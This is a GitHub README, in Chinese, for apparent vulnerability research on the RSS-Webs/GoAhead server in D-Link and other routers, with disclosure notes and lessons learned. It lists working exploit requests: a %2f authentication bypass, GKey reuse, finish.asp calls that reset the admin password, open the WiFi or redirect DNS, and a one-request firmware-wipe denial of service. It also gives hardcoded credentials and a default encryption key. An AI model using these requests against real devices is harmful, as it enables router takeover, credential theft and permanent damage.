superswan/rss-webs-vuln
GitHub: superswan/rss-webs-vuln
针对多厂商路由器固件中 RSS-Webs/GoAhead HTTP 服务器的身份验证绕过漏洞链研究与自动化利用工具集。
Stars: 0 | Forks: 0
# RSS-Webs / GoAhead 身份验证绕过链
RSS-Webs 管理界面存在多个漏洞。这是运行在端口 8008 上的衍生自 GoAhead 的 HTTP 服务器,用于 D-Link、Comtrend、Sercomm 和其他提供 Ralink/MediaTek SDK 的 OEM 厂商的路由器。
这些发现主要基于未设置登录拦截的暴露路径以及一个身份验证绕过漏洞。
## 目录
- [背景](#background)
- [发现摘要](#finding-summary)
- [身份验证绕过链](#auth-bypass-chain)
- [其他发现](#other-findings)
- [互联网暴露](#internet-exposure)
- [经验教训](#lessons-learned)
- [漏洞披露](#disclosure)
- [工具](#tools)
- [参考](#references)
## 背景
D-Link DIR-853 A1 路由器运行固件 DIR_853_A1_FW110B04.BIN (V1.10B04),发布于 2018 年。该固件是一个带有 uClibc 的 MIPS32 小端序镜像。其中包含一个名为 RSS-Webs 的衍生自 GoAhead 的 HTTP 服务器,监听端口 8008。它负责处理设备设置向导、配置页面、固件升级,以及越来越多的调试和测试页面。
相同的 RSS-Webs 代码库在多个 OEM 厂商中通用。其共同前身是 Ralink/MediaTek SDK。Comtrend AR-5319 (RSS-Webs/1.4b76p9) 和 Sercomm NexusLink 3120 (RSS-Webs/1.4b71) 使用相同的服务器、相同的身份验证模型、相同的测试页面以及相同的 bug。
## 发现摘要
| 领域 | 影响 |
|------|--------|
| URL 规范化 | `%2f` 可绕过 `/rssui/` 身份验证拦截。 |
| 会话处理 | `GKey` 可以从被绕过的页面中获取,并作为查询参数重用。 |
| 配置写入 | `finish.asp` 接受通过 GET 参数进行的敏感配置更改。 |
| 固件管理 | `/goform/rssfwupgd.xgi` 和 `/goform/formUploadFileTest.xgi` 暴露了未经身份验证的固件路径。 |
| 凭据存储 | RSS 配置值可以使用生产测试页面中附带的逻辑进行解密。 |
| 运营暴露 | SVN 元数据、详细的日志、硬编码的凭据以及过时的组件增加了攻击面。 |
## 身份验证绕过链
这三个漏洞协同发挥作用。拥有端口 8008 网络访问权限的攻击者可以在不知道管理员密码的情况下读取和写入完整的设备配置。
### URL 编码的斜杠绕过 (%2f)
RSS-Webs 身份验证处理器在决定是否需要身份验证之前,会将 URL 前缀与 `/rssui/` 进行匹配。它匹配的是原始的、未解码的 URL。如果将正斜杠编码为 %2f,前缀检查就会失败。而 ASP 处理器会正常对其进行解码并提供页面服务。
```
GET /rssui%2fmain.asp HTTP/1.1 # 200 OK, bypasses auth
GET /rssui/main.asp HTTP/1.1 # 302 redirect to login
```
这使得未经身份验证即可访问 `/rssui/` 下的每个页面。这包括配置页面、固件升级接口以及嵌入了机密信息的 JavaScript 文件。
此路径不需要管理员密码。它不提交正常的 `/rssui/public/checkuser.xgi` 登录表单。被绕过的页面会渲染服务器端的 ASP 标签(如 `<% Generate_Key(); %>`),并在响应中返回全新的 `thAuthKeyVal`。
访问经过身份验证的页面时发生重定向

当使用 `%2f` 代替 `/` 时,页面被正常渲染

### 作为查询参数的 GKey
每个受保护的页面都包含一个带有当前会话密钥的 JavaScript 变量:
```
var thAuthKeyVal="04344af0";
var theAuthKeyName="GKey";
```
您可以在任何 URL 上将此密钥作为查询参数传递:
```
GET /rssui/config.asp?GKey=04344af0 HTTP/1.1
```
服务器会将其视为已通过身份验证。结合身份验证绕过技巧,您可以从被绕过的页面中获取 GKey,并在任何地方使用它。
换句话说,利用路径为:请求 `/rssui%2fmain.asp`,读取 `thAuthKeyVal`,然后带上 `?GKey=` 请求受保护的页面。此过程不需要设备密码。
浏览器中的登录页面

使用 `tools/rss_pwn.py` 提取 GKey 并生成 URL

粘贴提供带有 `?GKey=` 参数的 URL 可获得有效会话

### 通过 finish.asp 覆盖配置
设置向导通过 GET 请求导航到 finish.asp 来保存配置:
```
location.href = "finish.asp?lang=en?" + txt;
```
其中 txt 是一个由 RSS 变量赋值组成的查询字符串。没有 CSRF token,没有当前密码验证,也不要求使用 POST。拥有有效的 GKey 后,您可以更改任何配置值:
```
GET /rssui/finish.asp?lang=en?rss_DevicePwd=newpass123&GKey=04344af0
GET /rssui/finish.asp?lang=en?rss_Wl2_WirelessName=OpenWiFi&rss_Wl2_EncryptionMode=None&GKey=04344af0
GET /rssui/finish.asp?lang=en?rss_Upl_DNS=attacker-dns.com&GKey=04344af0
```
可写入的参数包括管理员密码、PPPoE 凭据、WiFi SSID 和密钥,以及 WAN DNS 服务器。
### 工具
该仓库包含 `tools/rss_pwn.py`。它实现了全链条自动化:建立会话、提取 GKey、读取配置页面、解析 37 个以上的变量、解密密码并格式化输出。有关用法,请参阅 [tools/rss_pwn.py](tools/rss_pwn.py) 的头部说明。
```
python3 tools/rss_pwn.py read 192.168.1.1:8008
```

该工具还支持原始转储输出(用于脚本编写),并可通过 finish.asp endpoint 写入新的配置值。
### 配置值的解密
配置值(如管理员密码、WiFi 密钥和 PPPoE 凭据)使用 base64 编码,并使用自定义流密码加密。加密方案和密钥定义在生产固件中附带的一个测试页面 `rssencry_test.asp` 中:
```
function RssDataEncrypt(str, key) {
// Stream cipher: each key byte determines XOR, reflection, or shift
// Two-layer encoding with random mask
// First layer: Rss> header + 4-char random mask + encrypted data
// Second layer: entire payload re-encrypted with main key
}
```
加密密钥是特定于设备的,并在配置页面中作为 `RssVarEncryptKey` 暴露出来。解密是其直接逆向过程:base64 解码,应用相同的 `RssDataEncrypt` 函数与设备密钥,提取内部 payload 和随机掩码,然后使用派生的子密钥再次解密。该函数是其自身的逆运算(对称的)。
当工具运行时,解密后的值会显示在其加密形式旁边:
```
device_passwd TldDYhNEHUEVFjM8NQ== → 12345
wireless_pwd TldDYhUTQBxde2NbYnMdew== → gocubsgo
ppp_password TldDYhcZQRcrJHBha19wYXNzWWQ= → pppoe_passwd
```
小于 9 字节的加密值(8 字节标头且无数据 payload)表示该值为空或未设置。
## 其他发现
### SVN 元数据泄露
该固件在 web 根目录中提供了 .svn/entries 文件。它们揭示了内部构建服务器的 URL、开发者名称、仓库 UUID 和项目路径。
```
GET /rssui/public/.svn/entries
```
```
svn://10.28.105.100:800/root/wireless/CPE/WiFi/Ralink/MTK7621A/...
Developer: hujian
```
### 调试日志
GoAhead 服务器将每个请求记录到 /tmp/OT_log.txt 中。该日志是全局可读的,并捕获了 URL、cookie、参数和响应代码。
### Shell 命令注入
几个 CGI 二进制文件使用 sprintf 构建 shell 命令,并将它们传递给 system()、popen() 或 twsystem()。用户控制的数据会进入这些格式化字符串。`fw_url` 就是一个例子。
```
ifconfig %s | grep "inet addr" | cut -d':' -f2 | cut -d' ' -f 1
fota --action download --fw-url %s --fw-path %s --progress-file %s &
mtd_write -r -w write /tmp/firmware.img Kernel &
```
### 薄弱的二进制加固
设备上的每个关键二进制文件在构建时都没有使用 PIE、堆栈保护、RELRO 或 NX 栈。这使得利用内存损坏 bug 变得比预期的更容易。
### 硬编码的凭据
默认的 NVRAM 值包括 Web UI 的管理员凭据(admin/twsz@2018)和 telnet 凭据(admin/dlink)。启动脚本从 NVRAM 读取这些凭据,并创建一个 UID 为 0 的 shell 账户。
### 开机自启 Telnet
init 脚本无条件地启动 telnetd。注释写着“用于 telnet 调试”。它没有首先检查 telnetEnabled NVRAM 的值。
### 过时的组件
lighttpd 1.4.24 (2009)、dnsmasq 2.78 (2016)、ProFTPD 1.3.1 (2007)、Samba 3.0.24 (2007)、MiniUPnPd 1.6 (2015)、MiniDLNA 1.0.24 (2015)、OpenSSL 1.0.2j (2016)、BusyBox 1.12.1 (2007)。D-Link 可能已经向后移植了修复程序。但版本号表明并非如此。
### Host 头注入 (CVE-2019-16645)
服务器将 Host 头反射到重定向响应的 Location 头中。这是截至 2.5.0 版本的 GoAhead 的一个已知漏洞。
```
curl -v -H "Host: attacker.com" http://device:8008/
```
重定向目标变成了 `http://attacker.com/home.htm`。
### 测试页面中的加密方案
文件 `rssencry_test.asp` 包含完整的 RssDataEncrypt 实现,以及默认密钥 `a1f3cf7ac2151db93d526e761fb05d14`。生产设备使用来自 `RssVarEncryptKey` 的特定于设备的密钥,但算法是相同的。这种加密只是一种混淆。任何能够查看配置页面的人都可以解密密码。
### 永久拒绝服务
`/goform/formUploadFileTest.xgi` 不需要身份验证。一个不带 body 的 GET 请求会触发固件升级 pipeline。处理器将一个空文件保存到 /upld.bin,并将其传递给针对内核分区的 mtd_write。向内核闪存中写入空内容会导致设备永久变砖。
```
GET /goform/formUploadFileTest.xgi HTTP/1.1 # Device crashes
```
这已经在实际的 D-Link DIR-853 上进行了验证。设备在请求后停止响应,需要进行物理恢复。
### 可能通过固件上传实现远程代码执行
同一个 endpoint 接受 multipart POST 请求。您可以上传伪造的固件镜像,设备会将其写入内核分区:
```
POST /goform/formUploadFileTest.xgi HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="filename"; filename="backdoor.bin"
[crafted MIPS kernel + rootfs]
--xxx--
```
GoAhead 处理器在将其传递给 mtd_write 之前,不检查镜像格式、签名或大小。能够构建带有后门 rootfs 的 MIPS 小端序内核的攻击者将获得持久的 root 访问权限。恢复出厂设置可能无法移除被篡改的内核。
### 固件升级状态 endpoint
`/goform/rssfwupgd.xgi` 也是未经身份验证的。它返回升级状态,并接受 `fw_url` 和 `action` 参数。`fw_url` 被直接传递给 `fota` shell 命令。
## 经验教训
- 供应商 SDK 代码可能会造成跨供应商漏洞。相同的 RSS-Webs 行为出现在 D-Link、Comtrend、Sercomm 和其他 OEM 版本中,因此共享 SDK 中的 bug 会演变成生态系统问题,而不是单一设备问题。
- 身份验证检查必须在与后续路由代码使用的相同的规范化路径上进行操作。RSS-Webs 检查了原始的 URL 路径,随后又对其进行解码并提供服务,这使得 `%2f` 足以跨越身份验证边界。
- 如果未经身份验证即可读取受身份验证的页面,那么会话密钥就不是机密。在客户端 JavaScript 中嵌入 `GKey` 将页面读取绕过变成了对配置的完全访问。
- 配置更改不应通过未经身份验证或无 token 的 GET 请求来执行。密码、DNS 和 WiFi 更改等敏感操作需要在处理器层进行授权检查、CSRF 保护和请求方法限制。
- 测试和调试代码不应存在于生产固件中。`rsstest` 页面、加密测试页面、固件上传测试处理器、SVN 元数据以及详细的请求日志都暴露了实现细节或危险的操作。
- 固件写入路径在到达刷写工具之前需要进行严格的验证。上传处理器在调用 `mtd_write` 或等效实用程序之前,应强制执行身份验证、大小限制、镜像格式检查、签名、目标分区控制和安全的失败处理行为。
- 混淆并不等于凭据保护。任何能够读取 UI 的人都可以获取 RSS 加密方案和密钥,这使得存储的密码和网络凭据能够被还原。
- 生命周期结束 (EOL) 状态并不能消除风险。设备在供应商支持结束后很长一段时间内仍会处于部署状态,而暴露的管理服务在 LAN 或公共互联网上可能仍然可以访问。
- 漏洞披露报告应将已确认的行为与可能共享的 SDK 行为区分开来。SVN 路径、匹配的 endpoint 以及匹配的 bug 有力地支持了其源于 Ralink/MediaTek SDK 的结论,但在主张中仍应区分直接证据和推论。
## 漏洞披露
这些漏洞已按照负责任披露流程向相关供应商报告。D-Link 拒绝修复该漏洞,因为它只影响 EOL(生命周期结束)设备。未收到 Comtrend 的任何回复。
## 参考
- CVE-2019-16645: GoAhead Web 服务器 Host 头注入
- CVE-2021-42342: GoAhead Multipart 身份验证绕过
- NIST SP 800-216: IoT 设备网络安全指南
- 固件使用 unblob 和自定义 SHRS 解密例程进行提取
## 免责声明
本研究仅用于防御性安全、协调和授权测试。请勿对您不拥有或未获得明确评估许可的设备或网络进行测试。对于滥用此信息或工具的行为,作者不承担任何责任。
标签:Ralink/MediaTek SDK, XXE攻击, 情报收集, 数据可视化, 漏洞研究, 物联网安全, 路由器固件, 身份验证绕过, 逆向工具, 配置错误